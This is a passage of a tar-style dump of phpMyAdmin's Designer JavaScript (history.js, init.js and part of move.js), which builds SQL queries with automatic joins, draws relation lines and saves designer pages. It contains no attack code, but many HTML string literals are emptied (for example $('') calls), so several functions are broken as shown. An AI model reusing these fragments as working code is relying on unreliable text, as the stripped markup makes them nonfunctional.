' + historyArray[i].getObj().getQuery() + ')'; or += ' OR '; } } } if (or !== '(') { or = or.substring(0, or.length - 4) + ')'; } else { or = ''; } if (and !== '(') { and = and.substring(0, and.length - 5) + ')'; } else { and = ''; } if (or !== '') { and = and + ' OR ' + or + ' )'; } return and; }; DesignerHistory.checkAggregate = function (idThis) { var i; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { var temp = '`' + historyArray[i].getTab() + '`.`' + historyArray[i].getColumnName() + '`'; if (temp === idThis && historyArray[i].getType() === 'Aggregate') { return historyArray[i].getObj().getOperator() + '(' + idThis + ')'; } } return ''; }; DesignerHistory.checkRename = function (idThis) { var i; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { var temp = '`' + historyArray[i].getTab() + '`.`' + historyArray[i].getColumnName() + '`'; if (temp === idThis && historyArray[i].getType() === 'Rename') { return ' AS `' + historyArray[i].getObj().getRenameTo() + '`'; } } return ''; }; /** * This function builds from clause of query * makes automatic joins. * * @return {string} */ DesignerHistory.queryFrom = function () { var i; var tabLeft = []; var tabUsed = []; var tTabLeft = []; var temp; var query = ''; var quer = ''; var parts = []; var tArray = []; tArray = fromArray; var K = 0; var k; var key; var key2; var key3; var parts1; // the constraints that have been used in the LEFT JOIN var constraintsAdded = []; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { fromArray.push(historyArray[i].getTab()); } fromArray = DesignerHistory.unique(fromArray); tabLeft = fromArray; temp = tabLeft.shift(); quer = '`' + temp + '`'; tabUsed.push(temp); // if master table (key2) matches with tab used get all keys and check if tab_left matches // after this check if master table (key2) matches with tab left then check if any foreign matches with master . for (i = 0; i < 2; i++) { for (K in contr) { for (key in contr[K]) { // contr name for (key2 in contr[K][key]) { // table name parts = key2.split('.'); if (DesignerHistory.found(tabUsed, parts[1]) > 0) { for (key3 in contr[K][key][key2]) { parts1 = contr[K][key][key2][key3][0].split('.'); if (DesignerHistory.found(tabLeft, parts1[1]) > 0) { if (DesignerHistory.found(constraintsAdded, key) > 0) { query += ' AND ' + '`' + parts[1] + '`.`' + key3 + '` = '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` '; } else { query += '\n' + 'LEFT JOIN '; query += '`' + parts[1] + '` ON '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` = '; query += '`' + parts[1] + '`.`' + key3 + '` '; constraintsAdded.push(key); } tTabLeft.push(parts[1]); } } } } } } K = 0; tTabLeft = DesignerHistory.unique(tTabLeft); tabUsed = DesignerHistory.addArray(tTabLeft, tabUsed); tabLeft = DesignerHistory.removeArray(tTabLeft, tabLeft); tTabLeft = []; for (K in contr) { for (key in contr[K]) { for (key2 in contr[K][key]) { // table name parts = key2.split('.'); if (DesignerHistory.found(tabLeft, parts[1]) > 0) { for (key3 in contr[K][key][key2]) { parts1 = contr[K][key][key2][key3][0].split('.'); if (DesignerHistory.found(tabUsed, parts1[1]) > 0) { if (DesignerHistory.found(constraintsAdded, key) > 0) { query += ' AND ' + '`' + parts[1] + '`.`' + key3 + '` = '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` '; } else { query += '\n' + 'LEFT JOIN '; query += '`' + parts[1] + '` ON '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` = '; query += '`' + parts[1] + '`.`' + key3 + '` '; constraintsAdded.push(key); } tTabLeft.push(parts[1]); } } } } } } tTabLeft = DesignerHistory.unique(tTabLeft); tabUsed = DesignerHistory.addArray(tTabLeft, tabUsed); tabLeft = DesignerHistory.removeArray(tTabLeft, tabLeft); tTabLeft = []; } for (k in tabLeft) { quer += ' , `' + tabLeft[k] + '`'; } query = quer + query; fromArray = tArray; return query; }; /** * This function is the main function for query building. * uses history object details for this. * * @uses DesignerHistory.queryWhere() * @uses DesignerHistory.queryGroupBy() * @uses DesignerHistory.queryHaving() * @uses DesignerHistory.queryOrderBy() */ DesignerHistory.buildQuery = function () { var qSelect = 'SELECT '; var temp; var selectFieldLength = selectField.length; if (selectFieldLength > 0) { for (var i = 0; i < selectFieldLength; i++) { temp = DesignerHistory.checkAggregate(selectField[i]); if (temp !== '') { qSelect += temp; temp = DesignerHistory.checkRename(selectField[i]); qSelect += temp + ', '; } else { temp = DesignerHistory.checkRename(selectField[i]); qSelect += selectField[i] + temp + ', '; } } qSelect = qSelect.substring(0, qSelect.length - 2); } else { qSelect += '* '; } qSelect += '\nFROM ' + DesignerHistory.queryFrom(); var qWhere = DesignerHistory.queryWhere(); if (qWhere !== '') { qSelect += '\nWHERE ' + qWhere; } var qGroupBy = DesignerHistory.queryGroupBy(); if (qGroupBy !== '') { qSelect += '\nGROUP BY ' + qGroupBy; } var qHaving = DesignerHistory.queryHaving(); if (qHaving !== '') { qSelect += '\nHAVING ' + qHaving; } var qOrderBy = DesignerHistory.queryOrderBy(); if (qOrderBy !== '') { qSelect += '\nORDER BY ' + qOrderBy; } $('#buildQuerySubmitButton').on('click', function () { if (vqbEditor) { var $elm = $('#buildQueryModal').find('textarea'); vqbEditor.save(); $elm.val(vqbEditor.getValue()); } $('#vqb_form').trigger('submit'); }); $('#buildQueryModal').modal('show'); $('#buildQueryModalLabel').first().text('SELECT'); $('#buildQueryModal').on('shown.bs.modal', function () { // Attach syntax highlighted editor to query dialog /** * @var $elm jQuery object containing the reference * to the query textarea. */ var $elm = $('#buildQueryModal').find('textarea'); if (!vqbEditor) { vqbEditor = Functions.getSqlEditor($elm); } if (vqbEditor) { vqbEditor.setValue(qSelect); vqbEditor.focus(); } else { $elm.val(qSelect); $elm.trigger('focus'); } }); }; AJAX.registerTeardown('designer/history.js', function () { vqbEditor = null; historyArray = []; selectField = []; $('#ok_edit_rename').off('click'); $('#ok_edit_having').off('click'); $('#ok_edit_Aggr').off('click'); $('#ok_edit_where').off('click'); }); AJAX.registerOnload('designer/history.js', function () { $('#ok_edit_rename').on('click', function () { DesignerHistory.edit('Rename'); }); $('#ok_edit_having').on('click', function () { DesignerHistory.edit('Having'); }); $('#ok_edit_Aggr').on('click', function () { DesignerHistory.edit('Aggregate'); }); $('#ok_edit_where').on('click', function () { DesignerHistory.edit('Where'); }); $('#ab').accordion({ collapsible: true, active: 'none' }); });dist/designer/init.js000066600000003643151724472050010631 0ustar00/** * Initializes the data required to run Designer, then fires it up. */ /* global DesignerOfflineDB */ // js/designer/database.js /* global DesignerHistory */ // js/designer/history.js /* global DesignerMove */ // js/designer/move.js /* global DesignerPage */ // js/designer/page.js /* global designerConfig */ // templates/database/designer/main.twig /* eslint-disable no-unused-vars */ var jTabs; var hTabs; var contr; var displayField; var server; var selectedPage; /* eslint-enable no-unused-vars */ var db; var designerTablesEnabled; AJAX.registerTeardown('designer/init.js', function () { $('.trigger').off('click'); }); AJAX.registerOnload('designer/init.js', function () { $('.trigger').on('click', function () { $('.panel').toggle('fast'); $(this).toggleClass('active'); $('#ab').accordion('refresh'); return false; }); jTabs = designerConfig.scriptTables.j_tabs; hTabs = designerConfig.scriptTables.h_tabs; contr = designerConfig.scriptContr; displayField = designerConfig.scriptDisplayField; server = designerConfig.server; selectedPage = designerConfig.displayPage; db = designerConfig.db; designerTablesEnabled = designerConfig.tablesEnabled; DesignerMove.main(); if (!designerTablesEnabled) { DesignerOfflineDB.open(function (success) { if (success) { DesignerPage.showTablesInLandingPage(db); } }); } $('#query_Aggregate_Button').on('click', function () { $('#query_Aggregate').css('display', 'none'); }); $('#query_having_button').on('click', function () { $('#query_having').css('display', 'none'); }); $('#query_rename_to_button').on('click', function () { $('#query_rename_to').css('display', 'none'); }); $('#build_query_button').on('click', function () { DesignerHistory.buildQuery('SQL Query on Database', 0); }); $('#query_where_button').on('click', function () { $('#query_where').css('display', 'none'); }); });dist/designer/move.js000066600000216402151724472050010633 0ustar00/** * @package PhpMyAdmin-Designer */ /* global DesignerObjects */ // js/designer/objects.js /* global DesignerHistory, historyArray, selectField */ // js/designer/history.js /* global contr, db, designerTablesEnabled, displayField, hTabs, jTabs, selectedPage:writable, server */ // js/designer/init.js /* global DesignerPage */ // js/designer/page.js /* global themeImagePath */ // templates/javascript/variables.twig var DesignerMove = {}; var change = 0; // variable to track any change in designer layout. var showRelationLines = true; var alwaysShowText = false; AJAX.registerTeardown('designer/move.js', function () { $(document).off('fullscreenchange'); $('#selflink').show(); }); AJAX.registerOnload('designer/move.js', function () { var $content = $('#page_content'); var $img = $('#toggleFullscreen').find('img'); var $span = $img.siblings('span'); $content.css({ 'margin-left': '3px' }); $(document).on('fullscreenchange', function () { if (!document.fullscreenElement) { $content.removeClass('content_fullscreen').css({ 'width': 'auto', 'height': 'auto' }); $('#osn_tab').css({ 'width': 'auto', 'height': 'auto' }); $img.attr('src', $img.data('enter')).attr('title', $span.data('enter')); $span.text($span.data('enter')); // Saving the fullscreen state in config when // designer exists fullscreen mode via ESC key var valueSent = 'off'; DesignerMove.saveValueInConfig('full_screen', valueSent); } }); $('#selflink').hide(); }); DesignerMove.markSaved = function () { change = 0; $('#saved_state').text(''); }; DesignerMove.markUnsaved = function () { change = 1; $('#saved_state').text('*'); }; var mainDirection = $('html').attr('dir') === 'rtl' ? 'right' : 'left'; // Will be used to multiply the offsetLeft by -1 if the direction is rtl. var directionEffect = mainDirection === 'right' ? -1 : 1; var curClick = null; var smS = 0; var smAdd = 10; var sLeft = 0; var sRight = 0; var onRelation = 0; var onGrid = 0; var onDisplayField = 0; // relation_style: 0 - angular 1 - direct var onAngularDirect = 1; var clickField = 0; var linkRelation = ''; var canvasWidth = 0; var canvasHeight = 0; var osnTabWidth = 0; var osnTabHeight = 0; var heightField = 7; var globX; var globY; var timeoutId; var layerMenuCurClick = 0; var fromArray = []; var menuMoved = false; var gridSize = 10; // ------------------------------------------------------------------------------ var isIe = document.all && !window.opera; if (isIe) { window.onscroll = DesignerMove.generalScroll; document.onselectstart = function () { return false; }; } DesignerMove.mouseDown = function (e) { // eslint-disable-next-line compat/compat globX = isIe ? e.clientX + document.body.scrollLeft : e.pageX; // eslint-disable-next-line compat/compat globY = isIe ? e.clientY + document.body.scrollTop : e.pageY; if (e.target.tagName === 'SPAN') { curClick = e.target.parentNode.parentNode.parentNode.parentNode; } else if (e.target.className === 'tab_zag_2') { curClick = e.target.parentNode.parentNode.parentNode; } else if (e.target.id === 'layer_menu_sizer_btn') { layerMenuCurClick = 1; } else if (e.target.className === 'M_butt') { return false; } if (curClick !== null) { document.getElementById('canvas').style.display = 'none'; curClick.style.zIndex = 2; } }; DesignerMove.mouseMove = function (e) { if (e.preventDefault) { e.preventDefault(); } // eslint-disable-next-line compat/compat var newDx = isIe ? e.clientX + document.body.scrollLeft : e.pageX; // eslint-disable-next-line compat/compat var newDy = isIe ? e.clientY + document.body.scrollTop : e.pageY; var deltaX = globX - newDx; var deltaY = globY - newDy; globX = newDx; globY = newDy; if (curClick !== null) { DesignerMove.markUnsaved(); var $curClick = $(curClick); var curX = parseFloat($curClick.attr('data-' + mainDirection) || $curClick.css(mainDirection)); var curY = parseFloat($curClick.attr('data-top') || $curClick.css('top')); var newX = curX - directionEffect * deltaX; var newY = curY - deltaY; $curClick.attr('data-' + mainDirection, newX); $curClick.attr('data-top', newY); if (onGrid) { newX = parseInt(newX / gridSize) * gridSize; newY = parseInt(newY / gridSize) * gridSize; } if (newX < 0) { newX = 0; } else if (newY < 0) { newY = 0; } $curClick.css(mainDirection, newX + 'px'); $curClick.css('top', newY + 'px'); } else if (layerMenuCurClick) { if (menuMoved) { deltaX = -deltaX; } var $layerMenu = $('#layer_menu'); var newWidth = $layerMenu.width() + directionEffect * deltaX; if (newWidth < 150) { newWidth = 150; } $layerMenu.width(newWidth); } if (onRelation || onDisplayField) { document.getElementById('designer_hint').style.left = globX + 20 + 'px'; document.getElementById('designer_hint').style.top = globY + 20 + 'px'; } }; DesignerMove.mouseUp = function () { if (curClick !== null) { document.getElementById('canvas').style.display = 'inline-block'; DesignerMove.reload(); curClick.style.zIndex = 1; curClick = null; } layerMenuCurClick = 0; }; // ------------------------------------------------------------------------------ DesignerMove.canvasPos = function () { canvasWidth = document.getElementById('canvas').width = osnTabWidth - 3; canvasHeight = document.getElementById('canvas').height = osnTabHeight - 3; if (isIe) { document.getElementById('canvas').style.width = (osnTabWidth - 3 ? osnTabWidth - 3 : 0) + 'px'; document.getElementById('canvas').style.height = (osnTabHeight - 3 ? osnTabHeight - 3 : 0) + 'px'; } }; DesignerMove.osnTabPos = function () { osnTabWidth = parseInt(document.getElementById('osn_tab').style.width, 10); osnTabHeight = parseInt(document.getElementById('osn_tab').style.height, 10); }; DesignerMove.setDefaultValuesFromSavedState = function () { if ($('#angular_direct_button').attr('class') === 'M_butt') { onAngularDirect = 0; } else { onAngularDirect = 1; } DesignerMove.angularDirect(); if ($('#grid_button').attr('class') === 'M_butt') { onGrid = 1; } else { onGrid = 0; } DesignerMove.grid(); var $relLineInvert = $('#relLineInvert'); if ($relLineInvert.attr('class') === 'M_butt') { showRelationLines = false; $relLineInvert.attr('class', 'M_butt'); } else { showRelationLines = true; $relLineInvert.attr('class', 'M_butt_Selected_down'); } DesignerMove.relationLinesInvert(); if ($('#pin_Text').attr('class') === 'M_butt_Selected_down') { alwaysShowText = true; DesignerMove.showText(); } else { alwaysShowText = false; } var $keySbAll = $('#key_SB_all'); if ($keySbAll.attr('class') === 'M_butt_Selected_down') { $keySbAll.trigger('click'); $keySbAll.toggleClass('M_butt_Selected_down'); $keySbAll.toggleClass('M_butt'); } var $keyLeftRight = $('#key_Left_Right'); if ($keyLeftRight.attr('class') === 'M_butt_Selected_down') { $keyLeftRight.trigger('click'); } }; DesignerMove.main = function () { // ---CROSS document.getElementById('layer_menu').style.top = -1000 + 'px'; // fast scroll DesignerMove.osnTabPos(); DesignerMove.canvasPos(); DesignerMove.smallTabRefresh(); DesignerMove.reload(); DesignerMove.setDefaultValuesFromSavedState(); if (isIe) { DesignerMove.generalScroll(); } }; DesignerMove.resizeOsnTab = function () { var maxX = 0; var maxY = 0; for (var key in jTabs) { var kX = parseInt(document.getElementById(key).style[mainDirection], 10) + document.getElementById(key).offsetWidth; var kY = parseInt(document.getElementById(key).style.top, 10) + document.getElementById(key).offsetHeight; maxX = maxX < kX ? kX : maxX; maxY = maxY < kY ? kY : maxY; } osnTabWidth = maxX + 50; osnTabHeight = maxY + 50; DesignerMove.canvasPos(); }; /** * Draw a colored line * * @param {number} x1 * @param {number} x2 * @param {number} y1 * @param {number} y2 * @param {HTMLElement} osnTab * @param {string} colorTarget * @return {void} */ DesignerMove.drawLine0 = function (x1, x2, y1, y2, osnTab, colorTarget) { DesignerMove.line0(x1 + directionEffect * osnTab.offsetLeft, y1 - osnTab.offsetTop, x2 + directionEffect * osnTab.offsetLeft, y2 - osnTab.offsetTop, DesignerMove.getColorByTarget(colorTarget)); }; /** * refreshes display, must be called after state changes */ DesignerMove.reload = function () { DesignerMove.resizeOsnTab(); var n; var x1; var x2; var a = []; var K; var key; var key2; var key3; DesignerMove.clear(); var osnTab = document.getElementById('osn_tab'); for (K in contr) { for (key in contr[K]) { // contr name for (key2 in contr[K][key]) { // table name for (key3 in contr[K][key][key2]) { // field name if (!document.getElementById('check_vis_' + key2).checked || !document.getElementById('check_vis_' + contr[K][key][key2][key3][0]).checked) { // if hide continue; } var x1Left = document.getElementById(key2).offsetLeft + 1; var x1Right = x1Left + document.getElementById(key2).offsetWidth; var x2Left = document.getElementById(contr[K][key][key2][key3][0]).offsetLeft; var x2Right = x2Left + document.getElementById(contr[K][key][key2][key3][0]).offsetWidth; a[0] = Math.abs(x1Left - x2Left); a[1] = Math.abs(x1Left - x2Right); a[2] = Math.abs(x1Right - x2Left); a[3] = Math.abs(x1Right - x2Right); n = sLeft = sRight = 0; for (var i = 1; i < 4; i++) { if (a[n] > a[i]) { n = i; } } if (n === 1) { x1 = x1Left - smS; x2 = x2Right + smS; if (x1 < x2) { n = 0; } } if (n === 2) { x1 = x1Right + smS; x2 = x2Left - smS; if (x1 > x2) { n = 0; } } if (n === 3) { x1 = x1Right + smS; x2 = x2Right + smS; sRight = 1; } if (n === 0) { x1 = x1Left - smS; x2 = x2Left - smS; sLeft = 1; } var rowOffsetTop = 0; var tabHideButton = document.getElementById('id_hide_tbody_' + key2); if (tabHideButton.innerHTML === 'v') { var fromColumn = document.getElementById(key2 + '.' + key3); if (fromColumn) { rowOffsetTop = fromColumn.offsetTop; } else { continue; } } var y1 = document.getElementById(key2).offsetTop + rowOffsetTop + heightField; rowOffsetTop = 0; tabHideButton = document.getElementById('id_hide_tbody_' + contr[K][key][key2][key3][0]); if (tabHideButton.innerHTML === 'v') { var toColumn = document.getElementById(contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]); if (toColumn) { rowOffsetTop = toColumn.offsetTop; } else { continue; } } var y2 = document.getElementById(contr[K][key][key2][key3][0]).offsetTop + rowOffsetTop + heightField; DesignerMove.drawLine0(x1, x2, y1, y2, osnTab, contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]); } } } } }; /** * draws a line from x1:y1 to x2:y2 with color * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line = function (x1, y1, x2, y2, colorLine) { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.strokeStyle = colorLine; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(x1, y1); ctx.lineTo(x2, y2); ctx.stroke(); }; /** * draws a relation/constraint line, whether angular or not * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line0 = function (x1, y1, x2, y2, colorLine) { if (!showRelationLines) { return; } DesignerMove.circle(x1, y1, 3, 3, colorLine); DesignerMove.rect(x2 - 1, y2 - 2, 4, 4, colorLine); if (onAngularDirect) { DesignerMove.line2(x1, y1, x2, y2, colorLine); } else { DesignerMove.line3(x1, y1, x2, y2, colorLine); } }; /** * draws a angular relation/constraint line * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line2 = function (x1, y1, x2, y2, colorLine) { var x1Local = x1; var x2Local = x2; if (sRight) { x1Local += smAdd; x2Local += smAdd; } else if (sLeft) { x1Local -= smAdd; x2Local -= smAdd; } else if (x1 < x2) { x1Local += smAdd; x2Local -= smAdd; } else { x1Local -= smAdd; x2Local += smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); }; /** * draws a relation/constraint line * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line3 = function (x1, y1, x2, y2, colorLine) { var x1Local = x1; var x2Local = x2; if (sRight) { if (x1 < x2) { x1Local += x2 - x1 + smAdd; x2Local += smAdd; } else { x2Local += x1 - x2 + smAdd; x1Local += smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); return; } if (sLeft) { if (x1 < x2) { x2Local -= x2 - x1 + smAdd; x1Local -= smAdd; } else { x1Local -= x1 - x2 + smAdd; x2Local -= smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); return; } var xS = (x1 + x2) / 2; DesignerMove.line(x1, y1, xS, y1, colorLine); DesignerMove.line(xS, y2, x2, y2, colorLine); DesignerMove.line(xS, y1, xS, y2, colorLine); }; DesignerMove.circle = function (x, y, r, w, color) { var ctx = document.getElementById('canvas').getContext('2d'); ctx.beginPath(); ctx.moveTo(x, y); ctx.lineWidth = w; ctx.strokeStyle = color; ctx.arc(x, y, r, 0, 2 * Math.PI, true); ctx.stroke(); }; DesignerMove.clear = function () { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.clearRect(0, 0, canvasWidth, canvasHeight); }; DesignerMove.rect = function (x1, y1, w, h, color) { var ctx = document.getElementById('canvas').getContext('2d'); ctx.fillStyle = color; ctx.fillRect(x1, y1, w, h); }; // --------------------------- FULLSCREEN ------------------------------------- DesignerMove.toggleFullscreen = function () { var valueSent = ''; var $img = $('#toggleFullscreen').find('img'); var $span = $img.siblings('span'); var $content = $('#page_content'); const pageContent = document.getElementById('page_content'); if (!document.fullscreenElement) { $img.attr('src', $img.data('exit')).attr('title', $span.data('exit')); $span.text($span.data('exit')); $content.addClass('content_fullscreen').css({ 'width': screen.width - 5, 'height': screen.height - 5 }); $('#osn_tab').css({ 'width': screen.width + 'px', 'height': screen.height }); valueSent = 'on'; pageContent.requestFullscreen(); } else { $img.attr('src', $img.data('enter')).attr('title', $span.data('enter')); $span.text($span.data('enter')); $content.removeClass('content_fullscreen').css({ 'width': 'auto', 'height': 'auto' }); $('#osn_tab').css({ 'width': 'auto', 'height': 'auto' }); document.exitFullscreen(); valueSent = 'off'; } DesignerMove.saveValueInConfig('full_screen', valueSent); }; DesignerMove.addTableToTablesList = function (index, tableDom) { var db = $(tableDom).find('.small_tab_pref').attr('db'); var table = $(tableDom).find('.small_tab_pref').attr('table_name'); var dbEncoded = $(tableDom).find('.small_tab_pref').attr('db_url'); var tableEncoded = $(tableDom).find('.small_tab_pref').attr('table_name_url'); var tableIsChecked = $(tableDom).css('display') === 'block' ? 'checked' : ''; var checkboxStatus = tableIsChecked === 'checked' ? Messages.strHide : Messages.strShow; var $newTableLine = $('' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + $('
').text(db + '.' + table).html() + '' + ''); $('#id_scroll_tab table').first().append($newTableLine); $($newTableLine).find('.scroll_tab_struct').on('click', function () { DesignerMove.startTabUpd(db, table); }); $($newTableLine).on('click', '.designer_Tabs2,.designer_Tabs', function () { DesignerMove.selectTab($(this).attr('designer_url_table_name')); }); $($newTableLine).find('.scroll_tab_checkbox').on('click', function () { $(this).attr('title', function (i, currentvalue) { return currentvalue === Messages.strHide ? Messages.strShow : Messages.strHide; }); DesignerMove.visibleTab(this, $(this).val()); }); var $tablesCounter = $('#tables_counter'); $tablesCounter.text(parseInt($tablesCounter.text(), 10) + 1); }; /** * This function shows modal with Go buttons where required in designer * @param {object} form * @param {string} heading * @param {string} type * * @return {object} modal; */ DesignerMove.displayModal = function (form, heading, type) { var modal = $(type); modal.modal('show'); modal.find('.modal-body').first().html(form); $(type + 'Label').first().html(heading); return modal; }; DesignerMove.addOtherDbTables = function () { var $selectDb = $(''); $selectDb.append(''); var $selectTable = $(''); $selectTable.append(''); $.post('index.php?route=/sql', { 'ajax_request': true, 'sql_query': 'SHOW databases;', 'server': CommonParams.get('server') }, function (data) { $(data.message).find('table.table_results.data.ajax').find('td.data').each(function () { var val = $(this)[0].innerText; $selectDb.append($('').val(val).text(val)); }); }); var $form = $('
').append($selectDb).append($selectTable); var modal = DesignerMove.displayModal($form, Messages.strAddTables, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var db = $('#add_table_from').val(); var table = $('#add_table').val(); // Check if table already imported or not. var $table = $('[id="' + encodeURIComponent(db) + '.' + encodeURIComponent(table) + '"]'); if ($table.length !== 0) { Functions.ajaxShowMessage(Functions.sprintf(Messages.strTableAlreadyExists, db + '.' + table), undefined, 'error'); return; } $.post('index.php?route=/database/designer', { 'ajax_request': true, 'dialog': 'add_table', 'db': db, 'table': table, 'server': CommonParams.get('server') }, function (data) { var $newTableDom = $(data.message); $newTableDom.find('a').first().remove(); var dbEncoded = $($newTableDom).find('.small_tab_pref').attr('db_url'); var tableEncoded = $($newTableDom).find('.small_tab_pref').attr('table_name_url'); if (typeof dbEncoded === 'string' && typeof tableEncoded === 'string') { // Do not try to add if attr not found ! $('#container-form').append($newTableDom); DesignerMove.enableTableEvents(null, $newTableDom); DesignerMove.addTableToTablesList(null, $newTableDom); jTabs[dbEncoded + '.' + tableEncoded] = 1; DesignerMove.markUnsaved(); } }); $('#designerModalGoButton').off('click'); // Unregister the event for other modals to not call this one modal.modal('hide'); }); $('#add_table_from').on('change', function () { if ($(this).val()) { var dbName = $(this).val(); var sqlQuery = 'SHOW tables;'; $.post('index.php?route=/sql', { 'ajax_request': true, 'sql_query': sqlQuery, 'db': dbName, 'server': CommonParams.get('server') }, function (data) { $selectTable.html(''); var rows = $(data.message).find('table.table_results.data.ajax').find('td.data'); if (rows.length === 0) { $selectTable.append(''); } rows.each(function () { var val = $(this)[0].innerText; $selectTable.append($('').val(val).text(val)); }); }); } }); }; // ------------------------------ NEW ------------------------------------------ DesignerMove.new = function () { DesignerMove.promptToSaveCurrentPage(function () { DesignerMove.loadPage(-1); }); }; // ------------------------------ SAVE ------------------------------------------ // (del?) no for pdf DesignerMove.save = function (url) { for (var key in jTabs) { document.getElementById('t_x_' + key + '_').value = parseInt(document.getElementById(key).style.left, 10); document.getElementById('t_y_' + key + '_').value = parseInt(document.getElementById(key).style.top, 10); document.getElementById('t_v_' + key + '_').value = document.getElementById('id_tbody_' + key).style.display === 'none' ? 0 : 1; document.getElementById('t_h_' + key + '_').value = document.getElementById('check_vis_' + key).checked ? 1 : 0; } document.getElementById('container-form').action = url; $('#container-form').trigger('submit'); }; DesignerMove.getUrlPos = function (forceString) { var key; if (designerTablesEnabled || forceString) { var poststr = ''; var argsep = CommonParams.get('arg_separator'); var i = 1; for (key in jTabs) { poststr += argsep + 't_x[' + i + ']=' + parseInt(document.getElementById(key).style.left, 10); poststr += argsep + 't_y[' + i + ']=' + parseInt(document.getElementById(key).style.top, 10); poststr += argsep + 't_v[' + i + ']=' + (document.getElementById('id_tbody_' + key).style.display === 'none' ? 0 : 1); poststr += argsep + 't_h[' + i + ']=' + (document.getElementById('check_vis_' + key).checked ? 1 : 0); poststr += argsep + 't_db[' + i + ']=' + $(document.getElementById(key)).attr('db_url'); poststr += argsep + 't_tbl[' + i + ']=' + $(document.getElementById(key)).attr('table_name_url'); i++; } return poststr; } else { var coords = []; for (key in jTabs) { if (document.getElementById('check_vis_' + key).checked) { var x = parseInt(document.getElementById(key).style.left, 10); var y = parseInt(document.getElementById(key).style.top, 10); var tbCoords = new DesignerObjects.TableCoordinate($(document.getElementById(key)).attr('db_url'), $(document.getElementById(key)).attr('table_name_url'), -1, x, y); coords.push(tbCoords); } } return coords; } }; DesignerMove.save2 = function (callback) { if (designerTablesEnabled) { var argsep = CommonParams.get('arg_separator'); var poststr = 'operation=savePage' + argsep + 'save_page=same' + argsep + 'ajax_request=true'; poststr += argsep + 'server=' + server + argsep + 'db=' + encodeURIComponent(db) + argsep + 'selected_page=' + selectedPage; poststr += DesignerMove.getUrlPos(); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', poststr, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(Messages.strModificationSaved); DesignerMove.markSaved(); if (typeof callback !== 'undefined') { callback(); } } }); } else { var name = $('#page_name').html().trim(); DesignerPage.saveToSelectedPage(db, selectedPage, name, DesignerMove.getUrlPos(), function () { DesignerMove.markSaved(); if (typeof callback !== 'undefined') { callback(); } }); } }; DesignerMove.submitSaveDialogAndClose = function (callback, modal) { var $form = $('#save_page'); var name = $form.find('input[name="selected_value"]').val().trim(); if (name === '') { Functions.ajaxShowMessage(Messages.strEnterValidPageName, false); return; } modal.modal('hide'); if (designerTablesEnabled) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize() + DesignerMove.getUrlPos(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (data.id) { selectedPage = data.id; } $('#page_name').text(name); if (typeof callback !== 'undefined') { callback(); } } }); } else { DesignerPage.saveToNewPage(db, name, DesignerMove.getUrlPos(), function (page) { DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } $('#page_name').text(page.pageDescr); if (typeof callback !== 'undefined') { callback(); } }); } }; DesignerMove.save3 = function (callback) { if (selectedPage !== -1) { DesignerMove.save2(callback); } else { var $form = $('
').append('').append($('').val(db)).append('').append('').append(':'); var modal = DesignerMove.displayModal($form, Messages.strSavePage, '#designerGoModal'); $form.on('submit', function (e) { e.preventDefault(); DesignerMove.submitSaveDialogAndClose(callback, modal); }); $('#designerModalGoButton').on('click', function () { var $form = $('#save_page'); $form.trigger('submit'); $('#designerModalGoButton').off('click'); // Unregister the event for other modals to not call this one modal.modal('hide'); }); } }; // ------------------------------ EDIT PAGES ------------------------------------------ DesignerMove.editPages = function () { DesignerMove.promptToSaveCurrentPage(function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'edit' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (!designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strOpenPage, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#edit_delete_pages'); var selected = $form.find('select[name="selected_page"]').val(); if (selected === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } $('#designerModalGoButton').off('click'); // Unregister the event for other modals to not call this one modal.modal('hide'); DesignerMove.loadPage(selected); }); } }); // end $.post() }); }; // ----------------------------- DELETE PAGES --------------------------------------- DesignerMove.deletePages = function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'delete' 